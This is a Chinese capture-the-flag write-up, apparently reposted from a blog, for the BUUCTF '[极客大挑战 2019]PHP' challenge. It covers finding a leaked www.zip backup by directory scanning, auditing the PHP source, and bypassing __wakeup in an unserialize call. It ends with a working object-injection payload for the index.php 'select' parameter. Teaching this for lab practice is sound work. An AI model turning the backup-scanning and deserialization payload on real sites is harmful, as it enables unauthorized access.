buu web:[极客大挑战 2019]PHP(源码泄漏+反序列化)

buu web:[极客大挑战 2019]PHP(源码泄漏+反序列化),第1张

打开靶场

提到了网站备份,说明可能存在源码泄漏,御剑或者dirsearch扫一下目录,扫出来一个www.zip

 下载完打开看一看

直接看到了flag.php,继续打开

 这玩意一看就是假的,还是老老实实的代码审计吧

先看index.php



  
  I have a cat!
  
      











    因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
    
    不愧是我!!!
    
    
    
    
    

Syclover @ cl4y

 可以看到,它包含了class.php并且对传入的select参数值做了一个反序列化(不了解序列化和反序列化的朋友可以先去了解一下)

我们接着看class.php

username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } } ?>

包含了flag.php,当$username='admin',$password=100时,就能输出flag了,拿去在线工具做一个序列化

但是__wakeup函数会在反序列化的时候被调用(更多相关魔法函数可以自行百度),从而改变username的值,这个可以通过改变属性的个数来绕过,截断符可以用%00代替,所以我们最终的payload是

index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 成功! 

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/797135.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-06
下一篇 2022-05-06

发表评论

登录后才能评论

评论列表(0条)

保存